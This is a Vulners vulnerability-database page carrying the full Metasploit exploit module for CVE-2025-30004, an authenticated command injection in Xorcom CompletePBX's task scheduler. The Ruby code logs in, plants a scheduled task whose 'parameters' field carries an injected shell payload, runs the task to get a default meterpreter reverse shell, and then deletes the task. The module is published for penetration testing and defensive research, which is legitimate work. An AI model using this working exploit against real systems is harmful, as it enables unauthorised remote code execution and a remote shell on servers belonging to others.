Lucene search
K

Xorcom CompletePBX Authenticated Command Injection via Task Scheduler

🗓️ 22 Jul 2025 18:52:12Reported by Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 357 Views

Authenticated command injection in Xorcom CompletePBX task scheduler (<=5.2.35) enables admin access.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-30004
31 Mar 202517:31
circl
CNNVD
Xorcom CompletePBX 操作系统命令注入漏洞
31 Mar 202500:00
cnnvd
CVE
CVE-2025-30004
31 Mar 202516:42
cve
Cvelist
CVE-2025-30004 Xorcom CompletePBX <= 5.2.35 Task Scheduler Authenticated Command Injection
31 Mar 202516:42
cvelist
EUVD
EUVD-2025-8863
31 Mar 202518:31
euvd
NVD
CVE-2025-30004
31 Mar 202517:15
nvd
OSV
CVE-2025-30004
31 Mar 202517:15
osv
Packet Storm
📄 Xorcom CompletePBX Authenticated Command Injection Via Task Scheduler
22 Jul 202500:00
packetstorm
Packet Storm
📄 Xorcom CompletePBX 5.2.35 Remote Code Execution
10 Dec 202500:00
packetstorm
Positive Technologies
PT-2025-13802
31 Mar 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::CompletePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
          versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
          input is improperly sanitized, allowing arbitrary command execution with web server privileges.

          Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
          Even when creating a new user with maximum privileges, the vulnerability does not work.
        },
        'Author' => [
          'Valentin Lobstein' # Research and module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-30004'],
          ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
          ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-03-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']),
      OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
    ])
  end

  def check
    completepbx?
  end

  def get_latest_task_id(sid_cookie, task_desc)
    print_status("Retrieving latest task ID for description: #{task_desc}...")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => {
        'class' => 'scheduler',
        'method' => 'tasks',
        'offset' => '0',
        'max' => '20'
      },
      'cookie' => sid_cookie
    )
    fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res

    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)

    rows = json.fetch('rows', nil)
    fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)

    row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc }
    fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row

    task_id = row[0]
    print_good("Found task with ID: #{task_id}")
    task_id
  end

  def create_task(sid_cookie)
    task_desc = Faker::Lorem.sentence(word_count: 4)
    notes = Faker::Lorem.paragraph(sentence_count: 3)
    print_status("Creating malicious scheduled task with description: #{task_desc}")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'cookie' => sid_cookie,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'script' => 'backup',
        'description' => task_desc,
        'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
        'interval' => '1',
        'interval_unit' => 'month',
        'parameters' => "$(#{payload.encoded})",
        'notes' => notes,
        'data' => '0',
        'class' => 'scheduler',
        'method' => 'save_task',
        'mode' => 'create'
      }
    )
    fail_with(Failure::Unreachable, 'No response from target while creating task') unless res

    json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
    state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }

    print_good('Malicious task successfully created.') and return task_desc if state == 'success'

    fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
  end

  def run_task(sid_cookie, task_id)
    print_status("Executing malicious task ID #{task_id}...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'cookie' => sid_cookie,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'class' => 'scheduler',
        'method' => 'run_task',
        'mode' => 'run',
        'data' => task_id.to_s
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from target while executing task')
    end

    print_good('Task executed successfully!')
  end

  def delete_task(sid_cookie, task_id)
    %w[delete deleteConfirmed].each do |mode|
      print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")

      send_request_cgi({
        'uri' => normalize_uri(target_uri.path),
        'method' => 'POST',
        'cookie' => sid_cookie,
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => {
          'class' => 'scheduler',
          'method' => 'delete_task',
          'mode' => mode,
          'data' => task_id.to_s
        }
      })
    end

    print_good("Task #{task_id} deleted successfully!")
  end

  def exploit
    sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
    task_desc = create_task(sid_cookie)
    task_id = get_latest_task_id(sid_cookie, task_desc)
    run_task(sid_cookie, task_id)
  ensure
    delete_task(sid_cookie, task_id) if task_id
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 19:02Current
6Medium risk
Vulners AI Score6
CVSS 3.18.8
EPSS0.03803
SSVC
357